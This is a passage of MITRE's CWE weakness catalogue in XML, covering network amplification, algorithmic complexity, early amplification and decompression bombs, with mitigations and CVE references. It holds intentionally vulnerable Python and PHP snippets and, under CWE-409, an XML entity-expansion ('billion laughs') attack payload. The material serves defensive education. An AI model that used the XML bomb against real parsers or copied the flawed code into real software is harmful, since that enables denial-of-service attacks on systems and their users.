				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="406" Name="Insufficient Control of Network Message Volume (Network Amplification)" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not sufficiently monitor or control
					transmitted network traffic volume, so that an actor can cause the software to
					transmit more traffic than should be allowed for that
					actor.</Description_Summary>
				        <Extended_Description>
					          <Text>In the absence of a policy to restrict asymmetric resource consumption,
						the application or system cannot distinguish between legitimate
						transmissions and traffic intended to serve as an amplifying attack on
						target systems. Systems can often be configured to restrict the amount of
						traffic sent out on behalf of a client, based on the client's origin or
						access level. This is usually defined in a resource allocation policy. In
						the absence of a mechanism to keep track of transmissions, the system or
						application can be easily abused to transmit asymmetrically greater traffic
						than the request or client should be permitted to.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>405</Relationship_Target_ID>
					          <!--Asymmetric Resource Consumption (Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be resultant from weaknesses that simplify spoofing
						attacks.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>If the application uses UDP, then it could potentially be subject to
						spoofing attacks that use the inherent weaknesses of UDP to perform traffic
						amplification, although this problem can exist in other protocols or
						contexts.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>System resources can be quickly consumed leading to poor application
							performance or system crash. This may affect network performance and
							could be used to attack other systems and applications relying on
							network performance.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>An application must make network resources available to a client
							commensurate with the client's access level.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Policy</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Define a clear policy for network resource allocation and
							consumption.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>An application must, at all times, keep track of network resources and
							meter their usage appropriately.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code listens on a port for DNS requests and sends the result
						to the requesting address. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</Code>
							              <Code>sock.bind( (UDP_IP,UDP_PORT) )</Code>
							              <Code>while true:</Code>
							              <Block>
								                <Code>data = sock.recvfrom(1024)</Code>
								                <Code>if not data:</Code>
								                <Block>
									                  <Code>break</Code>
								                </Block>
								                <Code>(requestIP, nameToResolve) = parseUDPpacket(data)</Code>
								                <Code>record = resolveName(nameToResolve)</Code>
								                <Code>sendResponse(requestIP,record)</Code>
							              </Block>
						            </Block>
						            <Text> This code sends a DNS record to a requesting IP address. UDP allows
							the source IP address to be easily changed ('spoofed'), thus allowing an
							attacker to redirect responses to a target, which may be then be
							overwhelmed by the network traffic.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0513</Observed_Example_Reference>
					          <Observed_Example_Description>Smurf attack, spoofed ICMP packets to broadcast
						addresses.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1379</Observed_Example_Reference>
					          <Observed_Example_Description>DNS query with spoofed source address causes more
						traffic to be returned to spoofed address than was sent by the
						attacker.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0041</Observed_Example_Reference>
					          <Observed_Example_Description>Large datagrams are sent in response to malformed
						datagrams.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1066</Observed_Example_Reference>
					          <Observed_Example_Description>Game server sends a large
						amount.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Network amplification, when performed with spoofing, is normally a
						multi-channel attack from attacker (acting as user) to amplifier, and
						amplifier to victim.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Network Amplification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation,
						Name, Other_Notes, Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Network
						Amplification</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="407" Name="Algorithmic Complexity" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>An algorithm in a product has an inefficient worst-case
					computational complexity that may be detrimental to system performance and can
					be triggered by an attacker, typically using crafted manipulations that ensure
					that the worst case is being reached.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>405</Relationship_Target_ID>
					          <!--Asymmetric Resource Consumption (Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The typical consequence is CPU consumption, but memory consumption and
							consumption of other resources can also occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0244</Observed_Example_Reference>
					          <Observed_Example_Description>CPU consumption via inputs that cause many hash
						table collisions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0364</Observed_Example_Reference>
					          <Observed_Example_Description>CPU consumption via inputs that cause many hash
						table collisions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1203</Observed_Example_Reference>
					          <Observed_Example_Description>Product performs unnecessary processing before
						dropping an invalid packet.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1501</Observed_Example_Reference>
					          <Observed_Example_Description>CPU and memory consumption using many
						wildcards.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2527</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows attackers to cause multiple copies
						of a program to be loaded more quickly than the program can detect that
						other copies are running, then exit. This type of error should probably have
						its own category, where teardown takes more time than
						initialization.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6931</Observed_Example_Reference>
					          <Observed_Example_Description>Network monitoring system allows remote attackers
						to cause a denial of service (CPU consumption and detection outage) via
						crafted network traffic, aka a "backtracking
						attack."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3380</Observed_Example_Reference>
					          <Observed_Example_Description>Wiki allows remote attackers to cause a denial of
						service (CPU consumption) by performing a diff between large, crafted pages
						that trigger the worst case algorithmic
						complexity.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3379</Observed_Example_Reference>
					          <Observed_Example_Description>Wiki allows remote attackers to cause a denial of
						service (CPU consumption) by performing a diff between large, crafted pages
						that trigger the worst case algorithmic complexity.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2506</Observed_Example_Reference>
					          <Observed_Example_Description>OS allows attackers to cause a denial of service
						(CPU consumption) via crafted Gregorian dates.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1792</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak by performing actions faster than the
						software can clear them.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Cryptography</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference>
					          <Reference_Author>Crosby</Reference_Author>
					          <Reference_Author>Wallach</Reference_Author>
					          <Reference_Title>Algorithmic Complexity Attacks</Reference_Title>
					          <Reference_Link>http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Algorithmic Complexity</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Functional_Areas,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Likelihood_of_Exploit</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="408" Name="Incorrect Behavior Order: Early Amplification" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software allows an entity to perform a legitimate but
					expensive operation before authentication or authorization has taken
					place.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>405</Relationship_Target_ID>
					          <!--Asymmetric Resource Consumption (Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>696</Relationship_Target_ID>
					          <!--Incorrect Behavior Order-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps authentication errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>System resources, CPU and memory, can be quickly consumed. This can
							lead to poor system performance or system crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This data prints the contents of a specified file requested by a
						user. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function printFile($username,$filename){</Code>
							              <Block>
								                <Comment>//read file into string</Comment>
								                <Code>$file = file_get_contents($filename);</Code>
								                <Code>if ($file &amp;&amp; isOwnerOf($username,$filename)){</Code>
								                <Block>
									                  <Code>echo $file;</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>echo 'You are not authorized to view this file';</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code first reads a specified file into memory, then prints the
							file if the user is authorized to see its contents. The read of the file
							into memory may be resource intensive and is unnecessary if the user is
							not allowed to see the file anyway. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2458</Observed_Example_Reference>
					          <Observed_Example_Description>Tool creates directories before authenticating
						user. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Early Amplification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Early
						Amplification</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="409" Name="Improper Handling of Highly Compressed Data (Data Amplification)" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles a
					compressed input with a very high compression ratio that produces a large
					output.</Description_Summary>
				        <Extended_Description>
					          <Text>An example of data amplification is a "decompression bomb," a small ZIP
						file that can produce a large amount of data when it is decompressed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>405</Relationship_Target_ID>
					          <!--Asymmetric Resource Consumption (Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>System resources, CPU and memory, can be quickly consumed. This can
							lead to poor system performance or system crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-53">
					          <Intro_Text>The DTD and the very brief XML below illustrate what is meant by an
						XML bomb. The ZERO entity contains one character, the letter A. The choice
						of entity name ZERO is being used to indicate length equivalent to that
						exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers
						to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or
						2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32
						characters in length, or 4 GB, probably consuming far more data than
						expected.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;?xml version="1.0"?&gt;</Code>
							              <Code>&lt;!DOCTYPE MaliciousDTD [</Code>
							              <Code>&lt;!ENTITY ZERO "A"&gt;</Code>
							              <Code>&lt;!ENTITY ONE "&amp;ZERO;&amp;ZERO;"&gt;</Code>
							              <Code>&lt;!ENTITY TWO "&amp;ONE;&amp;ONE;"&gt;</Code>
							              <Code>...</Code>
							              <Code>&lt;!ENTITY THIRTYTWO "&amp;THIRTYONE;&amp;THIRTYONE;"&gt;</Code>
							              <Code>]&gt;</Code>
							              <Code>&lt;data&gt;&amp;THIRTYTWO;&lt;/data&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1955</Observed_Example_Reference>
					          <Observed_Example_Description>XML bomb in web server
						module</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1564</Observed_Example_Reference>
					          <Observed_Example_Description>Parsing library allows XML
						bomb</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Data Amplification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
